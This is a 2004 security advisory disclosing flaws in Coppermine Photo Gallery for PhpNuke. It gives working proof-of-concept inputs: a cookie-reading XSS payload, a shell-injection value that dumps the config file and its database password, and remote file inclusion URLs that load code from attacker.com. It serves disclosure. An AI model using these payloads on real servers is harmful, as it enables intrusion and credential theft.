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From: come2waraxe at yahoo.com (Janek Vind)
Subject: [waraxe-2004-SA#026 - Multiple vulnerabilities in Coppermine Photo Gallery for PhpNuke]


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{     [ Multiple vulnerabilities in Coppermine Photo
Gallery for PhpNuke ]       }
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Author: Janek Vind "waraxe"
Date: 29. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=26


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine Photo Gallery 1.2.2b for CMS
Copyright (C) 2002,2003  Grégory DEMAR
<gdemar@...adoo.fr>
http://www.chezgreg.net/coppermine/  
Updated by the Coppermine Dev Team 
http://coppermine.sf.net/team/
New Port by GoldenTroll
http://coppermine.findhere.org/
Based on coppermine 1.1d by Surf
http://www.surf4all.net/
http://coppermine.findhere.org

I have tested two versions of the Coppermine: 1.2.2b
and 1.2.0 RC4, which i will name
further as "new version" and "old version".


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

Many scripts in Coppermine software package are not
protected against direct access,
therefore standard php error messages can be provoked,
which leads to exposure the full
path to the scripts. Such piece of information has
great value for potential attacker, who
will use this in next steps of hacking.

Version scope: both new and old versions are affected.

Examples:

http://localhost/nuke72/modules/coppermine/phpinfo.php
http://localhost/nuke72/modules/coppermine/addpic.php
http://localhost/nuke72/modules/coppermine/config.php
http://localhost/nuke72/modules/coppermine/db_input.php
http://localhost/nuke72/modules/coppermine/displayecard.php
http://localhost/nuke72/modules/coppermine/ecard.php
http://localhost/nuke72/modules/coppermine/include/crop.inc.php



B. Cross-site scripting aka XSS:

Can be used by potential attacker for stealing cookies
and doing other operations, which in
normal conditions are not permitted by browser's
cross-domain security restrictions.

Version scope: only new version is affected.

Examples:

http://localhost/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar">[xss
code here]
http://localhost/nuke72/modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);>


C. Arbitrary directory browsing (needs nuke admin
rights!):

PhpNuke is known by the many security bugs, leading to
admin account overtaking by attacker.
So needing of the admin rights to use this exploit is
not such big restriction ...

Version scope: both new and old versions are affected.

Example:

http://localhost/nuke72/modules.php?name=coppermine&file=searchnew&startdir=../..

... and we can see PhpNuke's root directory structure
;)


D. Execution of the arbitrary shell commands in server
(needs nuke admin rights!):

Yes, again we need PhpNuke admin privileges to
accomplish this exploit, but as said before,
there are many ways to compromise nuke's admin
account.

Version scope: both new and old versions are affected.

So, how we can give any shell commands to server?
Let's look at Coppermine's original source in
"coppermine/include/picmgmtbatch.inc.php":


// Method for thumbnails creation
    switch ($method) {
        case "im" :
          if (preg_match("#[A-Z]:|\\\\#Ai", __FILE__))
{
            // get the basedir, remove '/include'
            $cur_dir = "";
            $src_file = '"' . strtr($src_file, '/',
'\\') . '"';
            $im_dest_file = str_replace('%', '%%',
('"' . strtr($dest_file, '/', '\\') . '"'));
          } else {
            $src_file = escapeshellarg($src_file);
            $im_dest_file = str_replace('%', '%%',
escapeshellarg($dest_file));
          }

          $output = array();
          $cmd = "{$CONFIG['impath']}convert -quality
{$CONFIG['jpeg_qual']} {$CONFIG['im_options']}
-geometry {$destWidth}x{$destHeight} $src_file
$im_dest_file";
          
		  //die("$cmd");
		  
		  exec ($cmd, $output, $retval);

          if ($retval) {
            $ERROR = "Error executing ImageMagick -
Return value: $retval";
            if ($CONFIG['debug_mode']) {

As we can see, there is very dangerous php function
"exec()" in use and some user input -
variables "$src_file" and "$dest_file" - are sanitized
by "escapeshellarg()". All seems to be ok?
Yes... oops... what about config variables
"$CONFIG['impath']", "$CONFIG['jpeg_qual']" etc ?
Coppermine's authors were assuming, that those
variables are safe to use directly in "exec()"...
But if we have nuke admin rights, we can manipulate
those configuration parameters and therefore
various shell commands can be injected to "exec()"!
You wanna details? Go to Coopermine's conficuration
panel and set "Method for resizing images" to
"Image Magick". Next set "Path to ImageMagick" to
value, which includes shell command, you want to
execute in server.
Example "path" in case of windows server: "type
config.php > config.txt &" ,
linux server: "cat config.php > config.txt ;" .
Now "save new configuration", then upload some
pictures to server and go to "Batch add pictures".
And if all went right, then you will see "config.txt"
file in phpnuke root directory, so anyone can
see in plaintext information with critical value -
database name, username and password ;)
Of course, skilled attacker can within 5 minutes get
remote shell running in server through
arbitrary port (higher than 1024) and next hacking is
not logged anymore, because webserver is bypassed.
One more step - finding and using local r00t exploit -
and server is 0wned ;)


E. Remote file inclusion:

Version scope: both new and old versions are affected
(different bugs in different scripts).

There exists remote file inclusion vulnerabilities in
Coppermine Photo Gallery, which
can lead to arbitrary php code parsing, shell commands
injection, etc. And as discussed before,
finally this can lead to total compromise of the
victim server.

E1 - affected is old version: 

First get ready your php script in
"http://attacker.com/include/functions.inc.php" and
then:

http://localhost/nuke69j1/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://attacker.com



E2 - affected is new version:

First get ready your php script in
"http://attacker.com/user_list_info_box.inc" and then:

http://localhost/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com
http://localhost/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com
http://localhost/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com

Of course, attacker's server, where those scripts are,
must NOT PARSE PHP!!

See ya!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to torufoorum members and to all bugtraq
readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@...oo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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